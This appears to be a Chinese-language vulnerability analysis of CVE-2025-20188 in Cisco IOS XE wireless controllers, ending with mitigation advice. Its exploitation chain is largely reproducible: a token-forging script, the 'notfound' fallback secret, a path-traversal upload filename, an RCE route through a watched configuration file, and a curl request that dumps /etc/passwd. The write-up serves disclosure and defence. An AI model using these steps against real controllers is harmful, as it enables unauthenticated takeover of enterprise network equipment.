思科 IOS XE WLC 文件上传漏洞 CVE-2025-20188

思科 IOS XE WLC 任意文件上传漏洞 (CVE-2025-20188) 分析

近期一份思科的披露详述了一个影响思科 IOS XE 无线控制器软件 17.12.03 及更早版本的一个漏洞。该问题被描述为一种未经身份验证的任意文件上传,由一个硬编码的 JSON Web Token (JWT) 的存在所引起。

思科 IOS XE 无线局域网控制器 (WLC)是一个广泛部署的企业级解决方案,用于管理和控制大规模无线网络。它集成在思科的 IOS XE 操作系统中,为园区和分支环境中的无线接入点提供集中管理、策略执行和无缝移动性。

我们的计划是看能否通过比较一个有漏洞的镜像和一个已打补丁的镜像来追溯该漏洞。我们首先获取了 C9800-CL-universalk9.17.12.03.iso 和 C9800-CL-universalk9.17.12.04.iso。在 ISO 存档中,我们发现了两个 .pkg 文件。虽然 file 命令没有提供太多有价值的信息,但 binwalk 却证明了其有效性。

.PKG Files

很好!这证实了它是一个我们可以提取和探索的文件系统。

对文件系统的初步探索显示,Web 应用程序的核心组件位于 /var/www 和 /var/scripts 目录下。对文件的进一步检查表明,该应用程序是使用 OpenResty 构建的,这是一个将 Lua 与 Nginx 集成的 Web 平台。

我们将有漏洞和已打补丁的目录都加载到 VS Code 的差异比较扩展中,并浏览每个目录以识别相关的文件差异。在位于 /var/scripts/lua/features/ 的 ewlc_jwt_verify.lua 和 ewlc_jwt_upload_files.lua 中发现了显著的变化。鉴于该漏洞与 JWT 处理有关,且这些文件都引用了 JWT 令牌和相关的密钥,这强烈表明我们正在调查正确的组件。

为了确定这些 Lua 脚本是如何以及在何处被调用的,我们在代码库中进行了一次简单的 grep 搜索。

Accessed LUA Files

在 /usr/binos/conf/nginx-conf/https-only/ap-conf/ewlc_auth_jwt.conf 内部我们看到

location /aparchive/upload {
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;
    charset utf-8;
    client_max_body_size 1536M;
    client_body_buffer_size 5000K;

    set $upload_file_dst_path "/bootflash/completeCDB/";
    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;
    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;
}

#Location block for ap spectral recording upload
location /ap_spec_rec/upload/ {
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;
    charset utf-8;
    client_max_body_size 500M;
    client_body_buffer_size 5000K;
    set $upload_file_dst_path "/harddisk/ap_spectral_recording/";
    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;
    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;
}

这揭示了在后端利用 ewlc_jwt_verify.lua 和 ewlc_jwt_upload_files.lua 的上传相关端点——完美!

第二个配置块表明 /ap_spec_rec/upload/ 端点首先由 ewlc_jwt_verify.lua 处理,它扮演一个访问阶段处理器的角色。如果请求通过验证,它随后被转发到 ewlc_jwt_upload_files.lua 以处理实际的上传。关于每个指令的更多细节可以在 OpenResty 文档中找到。

ewlc_jwt_verify.lua 脚本从 /tmp/nginx_jwt_key 读取一个密钥,并用它来验证通过 Cookie 头或 jwt URI 参数提供的 JWT。如果密钥缺失,secret_read 会被设置为 notfound,这似乎是我们正在调查的硬编码 JWT 机制的一部分。

-- ewlc_jwt_verify.lua
local jwt       = require "resty.jwt"
local jwt_token = ngx.var.arg_jwt

if jwt_token then
    ngx.header['Set-Cookie'] = "jwt=" .. jwt_token
else
    jwt_token = ngx.var.cookie_jwt
end

local secret_read = ""
local key_fh = io.open("/tmp/nginx_jwt_key","r")
if ( key_fh ~= nil )
then
    io.input(key_fh)
    secret_read = io.read("*all")
    io.close(key_fh)
else
    secret_read = "notfound"
end
local jwt_comm_secret = tostring(secret_read)

local jwt_obj = jwt:verify(jwt_comm_secret, jwt_token)

if not jwt_obj["verified"] then
    local site = ngx.var.scheme .. "://" .. ngx.var.http_host;
    local args = ngx.req.get_uri_args();

    ngx.status = ngx.HTTP_UNAUTHORIZED
    ngx.say(jwt_obj.reason);
    ngx.exit(ngx.HTTP_OK)
end

为了确定 JWT 最初是在哪里生成的,我们运行了几个 grep 命令,并最终找到了 /var/scripts/lua/features/ewlc_jwt_get.lua。

-- ewlc_jwt_get.lua
local jwt = require "resty.jwt"
local json = require 'cjson'
local req_id = ngx.req.get_headers()["JWTReqId"]
local tcount = os.time()

--Give expiration time as 5 min
tcount = tcount+300

local secret = ""
local secret_sz =  64
local in_fh = io.open("/tmp/nginx_jwt_key","r")
if ( in_fh ~= nil )
then
    io.input(in_fh)
    secret = io.read("*all")
    io.close(in_fh)
else
    local random = require "resty.random".bytes
    secret = random(secret_sz, true)
    if secret == nil then
        secret = random(secret_sz)
    end
    local key_fh = io.open("/tmp/nginx_jwt_key","w")
    if ( key_fh ~= nil ) then
        io.output(key_fh)
        io.write(secret)
        io.close(key_fh)
    end
end
local jwt_comm_secret = tostring(secret)

--Generate the jwt key
local jwt_gen_token = jwt:sign(
        jwt_comm_secret,
        {
            header={typ="JWT", alg="HS256"},
            payload={reqid=req_id, exp=tcount }
        }
    )
local response = {token = jwt_gen_token}
return ngx.say(json.encode(response))

此脚本如果 /tmp/nginx_jwt_key 文件存在,则从中读取密钥;否则,它通过写入一个64字符的字节字符串来生成一个密钥。然后,它使用 jwt:sign() 创建一个 JWT,其载荷包含 JWTReqId 头和一个过期时间戳。

为了更好地理解这个流程是如何工作的,让我们尝试手动制作 JWT。首先,我们需要知道 JWTReqId 来自哪里。我们可以通过在代码库中进一步执行 grep 命令来找到它。

Script Code

有趣的是,该头部是在一个 ELF 共享库中构建的:/usr/binos/lib64/libewlc_apmgr.so。为了更深入地挖掘,我们在 IDA Pro 中搜索 JWTReqId 字符串,这引导我们到了 ewlc_apmgr_jwt_request 函数。这让我们对 JWT 在内部是如何生成的有了更清晰的了解。

CRPG

上述汇编代码显示,头部字符串是使用 snprintf 构建的。这里有一个有用的技巧是利用 LLM 来调查 s 变量的来源——它被用作头部字符串的一部分——特别是如果您不想在二进制文件中静态地追溯它。

LLM assisted investigation

很好!交叉引用对 ewlc_apmgr_jwt_request 的调用显示只有一个引用!

Cross checking code

太好了,JWTReqId 头部包含 cdb_token_request_id1。

您可以尝试修改并运行该 Lua 脚本来生成 JWT,或者将其转换为 python(LLMs 在这方面也能提供帮助)。

import os
import time
import jwt

tcount = int(time.time()) + 300

req_id = 'cdb_token_request_id1'

jwt_comm_secret = os.urandom(64)
jwt_gen_token = jwt.encode(
    {"reqid": req_id, "exp": tcount},
    jwt_comm_secret,
    algorithm="HS256",
    headers={"typ": "JWT"}
)

print(jwt_gen_token)

让我们用 JWT 试试上传端点

JWT Request

奇怪。

我们想起来,安全通告中提到了需要启用 Out-of-Band AP Image Download 功能。经过一番研究,我们发现在“Configuration”→“Wireless Global”下的“AP Image Upgrade”部分可以启用它。

这似乎是一个运行在端口 8443 上的独立服务,所以我们启用了它,并使用新端口重试了我们的请求。

Code Check

成功了——我们得到了一个响应!这是一个 401 Unauthorized,伴随着一个签名不匹配的错误。这是预料之中的,因为当 JWT 不是用正确的密钥签名时,jwt:verify() 会失败。为了继续,我们需要使用 notfound 密钥重新生成 JWT。

Code check

完美——我们得到了响应。此端点由位于 /var/scripts/lua/features/ewlc_jwt_upload_files.lua 的脚本处理

-- ewlc_jwt_upload_files
...
if method == "POST" then
    while true do
        local typ, req, err = form:read()
        if not typ then
            ngx.say("failed to read: ", err)
            return
        end

        if typ == "header" then
            local file_name = getFileName(req)
            if not utils.isNil(file_name) then
                if not file then
                    file, err = io.open(location..file_name, "w+")
                    if not file then
                        return
                    end
                end
            end
        elseif typ == "body" then
            if file then
                file:write(req)
            end
        elseif typ == "part_end" then
            if file then
                file:close()
                file = nil
            end
        elseif typ == "eof" then
            break
        end
    end
else
    ngx.say("Method Not Allowed")
    ngx.exit(405)
end

文件将被写入 location .. file_name,其中 location 是 /harddisk/ap_spectral_recording/,正如配置文件中通过以下方式定义的:
set $upload_file_dst_path /harddisk/ap_spectral_recording/;

没有什么能阻止我们使用 .. 进行路径遍历,所以下一个问题是:我们应该把文件放在哪里?浏览 https://10.0.23.70:8443/ 会显示默认的 OpenResty 主页。此页面是从 /usr/binos/openresty/nginx/html 提供的,所以这是一个合乎逻辑的目标位置——我们将尝试把我们的文件放在那里。值得注意的是,这项服务不需要身份验证,使其成为利用上传路径的理想候选。

filename=”…/…/usr/binos/openresty/nginx/html/foo.txt”

Code check

成功!

实现 RCE

现在剩下要做的就是建立一种可靠的方法,利用这次上传来建立代码执行。可能有几种方法可以实现这一点,所以为了简洁起见,我们在这里会略过许多细节。

我们决定研究的一个途径是利用 inotifywait 的服务,这是一个允许监控指定目录中文件事件的实用程序。在深入研究这些服务后,我们发现了一个内部进程管理服务(pvp.sh),它会等待文件被写入特定目录。一旦检测到变化,它可以根据服务配置文件中指定的命令触发服务重载。

pvp.sh 代码片段

简而言之,为了实现 RCE,我们需要……

  • … 用我们自己的命令覆盖现有的配置文件。
  • … 上传一个新文件以使服务重新加载。
  • … 检查我们是否成功。

Webkit Check

修改后的配置文件

Trigger file

触发文件

# curl -k https://10.0.23.70/webui/login/etc_passwd root:*:0:0:root:/root:/bin/bash binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin messagebus:x:998:997::/var/lib/dbus:/bin/false avahi:x:997:996::/var/run/avahi-daemon:/bin/false avahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false guestshell:!:1000:1000::/home/guestshell: qemu:x:1001:1001:qemu::/sbin/nologin dockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin

输出验证

注意:在我们对新安装的 WLC 进行测试时,端口 8443 默认是开放的——即使没有明确启用 AP 镜像升级功能。这表明该服务可能在默认安装中已启用,并且易受攻击的端点是可访问的——至少在我们测试的 C9800 系列版本上是这样。

缓解措施

最佳的缓解措施是升级到最新版本,因为思科已经修复了这个问题。然而,如果这不可行,思科表示管理员可以禁用 Out-of-Band AP Image Download 功能。禁用此功能后,AP 镜像下载将使用 CAPWAP 方法进行 AP 镜像更新,这不会影响 AP 客户端状态。思科强烈建议在能够执行升级之前实施此缓解措施。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值